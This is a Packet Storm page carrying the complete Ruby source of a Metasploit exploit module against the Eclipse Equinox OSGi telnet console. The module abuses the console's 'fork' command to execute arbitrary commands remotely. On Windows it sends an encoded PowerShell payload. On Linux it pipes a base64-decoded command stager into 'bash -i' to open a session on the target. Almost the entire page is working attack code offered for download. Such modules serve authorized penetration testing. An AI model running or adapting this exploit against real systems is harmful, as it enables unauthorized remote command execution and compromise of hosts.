Eclipse Equinoxe OSGi Console Command Execution

This Metasploit module exploits the Eclipse Equinoxe OSGi (Open Service Gateway initiative) console fork command to execute arbitrary commands on the remote system..

MD5 | 44d114b8f94ded0eaeebff0fcb23c87c

Download

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'base64'

class MetasploitModule < Msf::Exploit::Remote
  Rank = NormalRanking

  include Msf::Exploit::Remote::Tcp
  include Msf::Exploit::CmdStager
  include Msf::Exploit::Powershell

  TELNET_IAC = Msf::Exploit::Remote::Telnet

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'Eclipse Equinoxe OSGi Console Command Execution',
      'Description'    => %q{
        Exploit Eclipse Equinoxe OSGi (Open Service Gateway initiative) console
        'fork' command to execute arbitrary commands on the remote system..
      },
      'Author'         =>
        [
          'Quentin Kaiser <[email protected]>'
        ],
      'License'        => MSF_LICENSE,
      'References'     =>
       [
         ['URL', 'https://www.eclipse.org/equinox/documents/quickstart-framework.php']
       ],
      'Platform' => %w{ linux win },
      'Arch' => [ARCH_ARMLE, ARCH_AARCH64, ARCH_X86, ARCH_X64],
      'Targets'=> [
        [ 'Linux (Bash Payload)', { 'Platform' => 'linux' } ],
        [ 'Windows (Powershell Payload)', { 'Platform' => 'win' } ]
       ],
      'CmdStagerFlavor' => [ 'bourne' ],
      'DisclosureDate'  => 'Feb 13 2018',
      'DefaultTarget'   => 0))
    deregister_options('SRVHOST', 'SRVPORT', 'SSL', 'SSLCert', 'URIPATH')
    register_options([
      OptInt.new('TIME_WAIT', [ true, 'Time to wait for payload to be executed', 20])
    ])
  end

  def check
    connect
    res = sock.get_once
    if res == TELNET_IAC::IAC+TELNET_IAC::WILL+TELNET_IAC::OPT_ECHO+\
        TELNET_IAC::IAC+TELNET_IAC::WILL+TELNET_IAC::OPT_SGA+\
        TELNET_IAC::IAC+TELNET_IAC::DO+TELNET_IAC::OPT_NAWS+\
        TELNET_IAC::IAC+TELNET_IAC::DO+TELNET_IAC::OPT_TTYPE
      # terminal type 'xterm-256color' = \x78\x74\x65\x72\x6D\x2D\x32\x35\x36\x63\x6F\x6C\x6F\x72
      sock.put(TELNET_IAC::IAC+TELNET_IAC::SB+TELNET_IAC::OPT_TTYPE+\
        "\x00xterm-256color"+TELNET_IAC::IAC+TELNET_IAC::SE)
      res = sock.get_once
    end
    disconnect
    if res && res == "osgi> "
      return Exploit::CheckCode::Vulnerable
    end
    Exploit::CheckCode::Safe
  end

  def exploit
    begin
      print_status("Accessing the OSGi console ...")

      unless check == Exploit::CheckCode::Vulnerable
        fail_with(Failure::NoTarget, "#{peer} - Failed to access the OSGi console")
      end

      if target['Platform'] == "win" then
        exec_command("fork \"#{cmd_psh_payload(payload.encoded, payload_instance.arch.first, {encode_final_payload: true, remove_comspec: true})}\"")
      else
        execute_cmdstager({:flavor => :bourne})
      end

      print_status("#{rhost}:#{rport} - Waiting for session...")

      (datastore['TIME_WAIT']).times do
        Rex.sleep(1)
        # Success! session is here!
        break if session_created?
      end
    rescue ::Timeout::Error, Rex::ConnectionError, Rex::ConnectionRefused, Rex::HostUnreachable, Rex::ConnectionTimeout => e
      fail_with(Failure::Unknown, "#{rhost}:#{rport} - #{e.message}")
    ensure
      disconnect
    end
  end

  def exec_command(cmd)
      connect
      res = sock.get_once
      if res == TELNET_IAC::IAC+TELNET_IAC::WILL+TELNET_IAC::OPT_ECHO+\
        TELNET_IAC::IAC+TELNET_IAC::WILL+TELNET_IAC::OPT_SGA+\
        TELNET_IAC::IAC+TELNET_IAC::DO+TELNET_IAC::OPT_NAWS+\
        TELNET_IAC::IAC+TELNET_IAC::DO+TELNET_IAC::OPT_TTYPE
        sock.put(TELNET_IAC::IAC+TELNET_IAC::SB+TELNET_IAC::OPT_TTYPE+\
          "\x00xterm-256color"+TELNET_IAC::IAC+TELNET_IAC::SE)
        res = sock.get_once
      end
      print_status("Exploiting...")
      sock.put("#{cmd}\r\n")
      res = sock.get
      sock.put("disconnect\r\n")
      res = sock.get
      sock.put("y\r\n")
  end

  def execute_command(cmd, opts={})
    cmd_b64 = Base64.encode64(cmd).gsub(/\s+/, "")
    # Runtime.getRuntime().exec() workaround on Linux. Requires bash.
    exec_command("fork \"bash -c {echo,#{cmd_b64}}|{base64,-d}|{bash,-i}\"")
  end
end

Source: packetstormsecurity.com